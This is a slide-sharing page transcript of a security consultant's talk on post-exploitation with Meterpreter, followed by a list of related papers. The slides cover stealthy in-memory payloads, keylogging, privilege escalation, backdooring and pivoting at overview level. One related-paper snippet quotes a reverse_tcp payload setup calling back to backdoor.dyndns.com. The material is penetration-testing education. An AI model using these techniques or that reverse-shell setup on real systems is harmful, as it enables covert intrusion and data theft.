Upload File

post exploitation using meterpreter

11
Post Exploitation Using Meterpreter

Upload: shubham-mittal

Post on 23-Dec-2014

1.517 views

Category:

Technology


0 download

Report

Tags:

DESCRIPTION

 

TRANSCRIPT

Page 1: Post Exploitation Using Meterpreter

Post ExploitationUsing Meterpreter

Page 2: Post Exploitation Using Meterpreter

• Who am I ?• Meterpreter• Meterpreter..why?• Meterpreter..how?• Command

Classification• Post Exploitation • Conclusion

Agenda

Page 3: Post Exploitation Using Meterpreter

Shubham Mittal

Security Consultant @ Hackplanet TechnologiesPenetration Tester Areas Of Working

AV EvasionMalware AnalysisMetasploitSOC

Page 4: Post Exploitation Using Meterpreter

MeterpreterMeterpreter

– Advance Multi Function payload.– Provides core complex and advanced features.– Injects itself into running process.– Meterpreter = Meta Interpreter, interprets commands from

one machine to another.

Page 5: Post Exploitation Using Meterpreter

MeterpreterMeterpreter .. Why?

– Normal Payloads :– Creates a new Process at the target machine.– Don’t work in chroot’d environments.– Limited to commands available on the shell only.

– Meterpreter:– Everything goes into memory, No I/O operations to HDD, hence less

detectable.– Works in chroot’d environment [works in context of exploited process].– Different extensions can be loaded on the fly during post exploitation.– Plus Meterpreter Scripting

Page 6: Post Exploitation Using Meterpreter

A handler is fired.

Remote Machine Enumeration

Vulnerability is triggered.

Payload delivered, using DLL injection

Payload reverts Back, pwning a shell

Meterpreter .. Why?

Page 7: Post Exploitation Using Meterpreter

Command Classification

Meterpreter

Session

Core Commands

STDapi Commands

Priv Commands

Extension- Espia

Commands

Extension- Sniffer

Commands

Extention- Incognito

Commands

Page 8: Post Exploitation Using Meterpreter

• Enumeration of Machine• Screenshots, keyloggers, VNC, etc.• Privilege Escalation• Back-dooring• Session Up gradation• Information Harvesting• Pivoting

Post Exploitation

Page 9: Post Exploitation Using Meterpreter

Pivoting : The Network we will Follow

Page 10: Post Exploitation Using Meterpreter

Conclusion

• Ideal stealth vector for process injection.• Can be a nice tool to integrate with future

exploits.• Meterpreter scripting will definitely give an

aid.• Expectations never ends

Page 11: Post Exploitation Using Meterpreter

Got queries, suggestions, comments : [email protected]


POST-EXPLOITATION WITH WINDOWS POWERSHELL · PDF fileJerold Hoong, OSCP Associate, Singapore 27th May 2015 ASPAC Hacknet Conference and Security Training POST-EXPLOITATION WITH WINDOWS

Powerpreter: Post Exploitation like a Boss

Introduction Web Hacking Post-Exploitation · Introduction Web Hacking Post-Exploitation . ... Web Hacking . 7 Entire contents © 2013 Praetorian. ... Password Cracking

Post exploitation techniques on OSX and Iphone€¦ · Post exploitation techniques on OSX and Iphone Vincenzo Iozzo [email protected]. Who I am •Student at Politecnico

New ProxyShell Post-exploitation Activity

Oracle post exploitation techniquesdata.proidea.org.pl/confidence/8edycja/materialy/... · Introduction • There are many well know techniques for post exploitation • This presentation

September 24th, 2019 · Post-Exploitation Step 4. Generate Report Pivoting and execute the exploit to internal servers. Step 2. Exploitation Step 3. Post-Exploitation ･Pivoting

44CON 2014 - Meterpreter Internals, OJ Reeves

White Paper : Post Exploitation Using Meterpreter - Exploit Database

Hacking and Hardening Kubernetesrepository.root-me.org/Exploitation - Système/EN... · Gained a Meterpreter in Marketing's Wordpress container. (Flag 1) Moved into Marketing's MySQL

Seculabs eBook - Meterpreter Cheatsheet Commands

Analyse de vulnérabilité et exploitation...TP 2 : Utilisation avancée 20 • Meterpreter • Shell abstrait (Linux / Win) • Commandes puissantes o Escalade de privilèges o Capture

The Black Art of Wireless Post-Exploitation

Windows meterpreterless post exploitation

Post Exploitation Bliss: Meterpreter for iPhoneold.sebug.net/paper/Meeting-Documents/Blackhat-USA… ·  · 2009-09-09Post Exploitation Bliss: Meterpreter for iPhone Charlie MIller

Post Exploitation in Hardened PHP Environments of the Art Post Exploitation in Hardened PHP Environments Stefan Esser SektionEins GmbH Cologne, Germany [email protected]

Hacker Halted 2014 - Post-Exploitation After Having Remote Access

Post exploitation techniques on OSX and Iphone, EuSecWest 2009

Instalacion metasploit Post Exploitation Using MeterpreterApple TV.pdf

POST EXPLOITATION PROCESS CONTINUATION OF DOOM

José Selvi - Unprivileged Network Post-Exploitation [RootedCON 2011]

Advanced Windows Post-Exploitation CON 25/DEF CON 25 workshops...Post-Exploitation Malware Forward Engineering whoami /all @zerosum0x0 @aleph___naught Red Team @ RiskSense, Inc. Agenda

Post-exploitation - Z. Cliffe Schreudersz.cliffe.schreuders.org/edu/DSL/Post-exploitation.pdf · Post-exploitation information gathering Information gathering is an ongoing process,

Introduction The Increasing Importance of Post-Exploitation

Modern Post-Exploitation Strategies - 44CON 2012

Post Exploitation

Basics of Meterpreter Evasion

Post Exploitation Using Meterpreter · exploit “ms_ ò ó_netapi” in our metasploit framework which can exploit the vulnerability in this service. After we had loaded metasploit

Meta-Post Exploitation

Inside Metasploit Understanding Meterpreter - NoThink · use exploit/windows/fileformat/adobe_cooltype_sing Set PAYLOAD windows/meterpreter/reverse_tcp set LHOST backdoor.dyndns.com

Post Exploitation in Hardened PHP Environments€¦ · State of the Art Post Exploitation in Hardened PHP Environments Stefan Esser SektionEins GmbH Cologne, Germany [email protected]

valsmith amesc Meta-Post Exploitation 063008-11.ppt · PDF fileMeta-Post Exploitation Using Old, Lost, ... – Aids in cleanup stage ... – Firewalls, AV, logging

Metasploit Framework Kullanım Rehberi - exploit-db.comturkish]-pen... · Güvenilmeyen İmzalı Java Applet ile Web Tarayıcısı Exploit İşlemi ... Meterpreter Üzerinden Meterpreter

Meterpreter in Metasploit User Guide

Exploitation of PDF Reader Vulnerabilities using ... · of attacks have been reported in PDF documents, ... which is most commonly used to view the s websites ... Meterpreter is the